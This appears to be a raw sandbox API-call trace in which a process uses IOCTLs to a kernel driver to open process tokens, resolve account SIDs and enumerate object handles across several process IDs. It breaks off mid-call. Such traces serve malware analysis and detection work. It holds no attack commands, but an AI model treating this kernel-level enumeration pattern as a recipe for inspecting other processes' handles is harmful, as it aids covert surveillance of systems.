DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.433] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8002052460, HandleInformation=0x0) returned 0x0 [0105.433] ObOpenObjectByPointer (in: Object=0xfffffa8002052460, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0105.433] ObfDereferenceObject (Object=0xfffffa8002052460) returned 0x12 [0105.433] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa800217c280 | out: TokenHandle=0xfffffa800217c280*=0xc8) returned 0x0 [0105.433] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0105.433] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.433] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.433] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.435] CloseHandle (hObject=0xc8) returned 1 [0105.435] CloseHandle (hObject=0xc0) returned 1 [0105.435] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.435] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.435] PsLookupProcessByProcessId (in: ProcessId=0x900, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.435] PsAcquireProcessExitSynchronization () returned 0x0 [0105.435] KeStackAttachProcess (in: PROCESS=0xfffffa8002052460, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002052460, ApcState=0xfffff88004f095d0) [0105.435] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002052d90, HandleInformation=0x0) returned 0x0 [0105.435] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.435] PsReleaseProcessExitSynchronization () returned 0x2 [0105.435] ObfDereferenceObject (Object=0xfffffa8002052460) returned 0x10 [0105.435] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.435] ObfDereferenceObject (Object=0xfffffa8002052d90) returned 0x1 [0105.435] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.435] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.435] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.435] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0105.435] PsLookupProcessByProcessId (in: ProcessId=0x900, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.435] PsAcquireProcessExitSynchronization () returned 0x0 [0105.435] KeStackAttachProcess (in: PROCESS=0xfffffa8002052460, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002052460, ApcState=0xfffff88004f095d0) [0105.435] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020401a0, HandleInformation=0x0) returned 0x0 [0105.435] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.435] PsReleaseProcessExitSynchronization () returned 0x2 [0105.435] ObfDereferenceObject (Object=0xfffffa8002052460) returned 0x10 [0105.435] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.435] ObfDereferenceObject (Object=0xfffffa80020401a0) returned 0x1 [0105.435] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.436] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.436] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.436] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.436] PsLookupProcessByProcessId (in: ProcessId=0x900, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.436] PsAcquireProcessExitSynchronization () returned 0x0 [0105.436] KeStackAttachProcess (in: PROCESS=0xfffffa8002052460, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002052460, ApcState=0xfffff88004f095d0) [0105.436] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.436] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.436] PsReleaseProcessExitSynchronization () returned 0x2 [0105.436] ObfDereferenceObject (Object=0xfffffa8002052460) returned 0x10 [0105.436] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.436] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0105.436] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.436] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.436] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x910) returned 0xc0 [0105.436] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.436] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8002067b30, HandleInformation=0x0) returned 0x0 [0105.436] ObOpenObjectByPointer (in: Object=0xfffffa8002067b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0105.436] ObfDereferenceObject (Object=0xfffffa8002067b30) returned 0x12 [0105.436] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa800217c280 | out: TokenHandle=0xfffffa800217c280*=0xc8) returned 0x0 [0105.436] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0105.436] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.436] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.436] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.438] CloseHandle (hObject=0xc8) returned 1 [0105.438] CloseHandle (hObject=0xc0) returned 1 [0105.438] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.438] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.438] PsLookupProcessByProcessId (in: ProcessId=0x910, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.438] PsAcquireProcessExitSynchronization () returned 0x0 [0105.438] KeStackAttachProcess (in: PROCESS=0xfffffa8002067b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002067b30, ApcState=0xfffff88004f095d0) [0105.438] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020627a0, HandleInformation=0x0) returned 0x0 [0105.438] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.438] PsReleaseProcessExitSynchronization () returned 0x2 [0105.438] ObfDereferenceObject (Object=0xfffffa8002067b30) returned 0x10 [0105.438] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.438] ObfDereferenceObject (Object=0xfffffa80020627a0) returned 0x1 [0105.438] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.438] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.438] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.438] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0105.438] PsLookupProcessByProcessId (in: ProcessId=0x910, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.438] PsAcquireProcessExitSynchronization () returned 0x0 [0105.438] KeStackAttachProcess (in: PROCESS=0xfffffa8002067b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002067b30, ApcState=0xfffff88004f095d0) [0105.438] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002068800, HandleInformation=0x0) returned 0x0 [0105.438] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.438] PsReleaseProcessExitSynchronization () returned 0x2 [0105.438] ObfDereferenceObject (Object=0xfffffa8002067b30) returned 0x10 [0105.439] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002821044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002821044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.439] ObfDereferenceObject (Object=0xfffffa8002068800) returned 0x1 [0105.439] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.439] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.439] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.439] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.439] PsLookupProcessByProcessId (in: ProcessId=0x910, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.439] PsAcquireProcessExitSynchronization () returned 0x0 [0105.439] KeStackAttachProcess (in: PROCESS=0xfffffa8002067b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002067b30, ApcState=0xfffff88004f095d0) [0105.439] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.439] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.439] PsReleaseProcessExitSynchronization () returned 0x2 [0105.439] ObfDereferenceObject (Object=0xfffffa8002067b30) returned 0x10 [0105.439] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.439] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0105.439] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.439] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.439] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x920) returned 0xc0 [0105.439] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.439] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa800207e5f0, HandleInformation=0x0) returned 0x0 [0105.439] ObOpenObjectByPointer (in: Object=0xfffffa800207e5f0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0105.439] ObfDereferenceObject (Object=0xfffffa800207e5f0) returned 0x12 [0105.439] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa800217c280 | out: TokenHandle=0xfffffa800217c280*=0xc8) returned 0x0 [0105.439] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0105.439] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.439] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.439] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.705] CloseHandle (hObject=0xc8) returned 1 [0105.705] CloseHandle (hObject=0xc0) returned 1 [0105.705] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.705] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.705] PsLookupProcessByProcessId (in: ProcessId=0x920, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.705] PsAcquireProcessExitSynchronization () returned 0x0 [0105.705] KeStackAttachProcess (in: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff88004f095d0) [0105.705] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800207ef20, HandleInformation=0x0) returned 0x0 [0105.705] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.705] PsReleaseProcessExitSynchronization () returned 0x2 [0105.705] ObfDereferenceObject (Object=0xfffffa800207e5f0) returned 0x10 [0105.705] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.705] ObfDereferenceObject (Object=0xfffffa800207ef20) returned 0x1 [0105.705] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.705] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.705] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.705] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x6c, lpOverlapped=0x0) returned 1 [0105.705] PsLookupProcessByProcessId (in: ProcessId=0x920, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.705] PsAcquireProcessExitSynchronization () returned 0x0 [0105.705] KeStackAttachProcess (in: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff88004f095d0) [0105.705] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001ff5290, HandleInformation=0x0) returned 0x0 [0105.706] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.706] PsReleaseProcessExitSynchronization () returned 0x2 [0105.706] ObfDereferenceObject (Object=0xfffffa800207e5f0) returned 0x10 [0105.706] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.706] ObfDereferenceObject (Object=0xfffffa8001ff5290) returned 0x1 [0105.706] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.706] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.706] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.706] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.706] PsLookupProcessByProcessId (in: ProcessId=0x920, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.706] PsAcquireProcessExitSynchronization () returned 0x0 [0105.706] KeStackAttachProcess (in: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff88004f095d0) [0105.706] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.706] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.706] PsReleaseProcessExitSynchronization () returned 0x2 [0105.706] ObfDereferenceObject (Object=0xfffffa800207e5f0) returned 0x10 [0105.706] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.706] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0105.706] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.706] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.706] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x930) returned 0xc0 [0105.706] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.706] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8001ff8b30, HandleInformation=0x0) returned 0x0 [0105.706] ObOpenObjectByPointer (in: Object=0xfffffa8001ff8b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009f0) returned 0x0 [0105.706] ObfDereferenceObject (Object=0xfffffa8001ff8b30) returned 0x12 [0105.707] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009f0, DesiredAccess=0x8, TokenHandle=0xfffffa8003473380 | out: TokenHandle=0xfffffa8003473380*=0xc8) returned 0x0 [0105.707] ZwClose (Handle=0xffffffff800009f0) returned 0x0 [0105.707] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.707] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.707] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.708] CloseHandle (hObject=0xc8) returned 1 [0105.708] CloseHandle (hObject=0xc0) returned 1 [0105.708] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.708] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.708] PsLookupProcessByProcessId (in: ProcessId=0x930, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.708] PsAcquireProcessExitSynchronization () returned 0x0 [0105.708] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff88004f095d0) [0105.708] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001fb4830, HandleInformation=0x0) returned 0x0 [0105.708] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.708] PsReleaseProcessExitSynchronization () returned 0x2 [0105.708] ObfDereferenceObject (Object=0xfffffa8001ff8b30) returned 0x10 [0105.708] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.709] ObfDereferenceObject (Object=0xfffffa8001fb4830) returned 0x1 [0105.709] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.709] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.709] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.709] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, 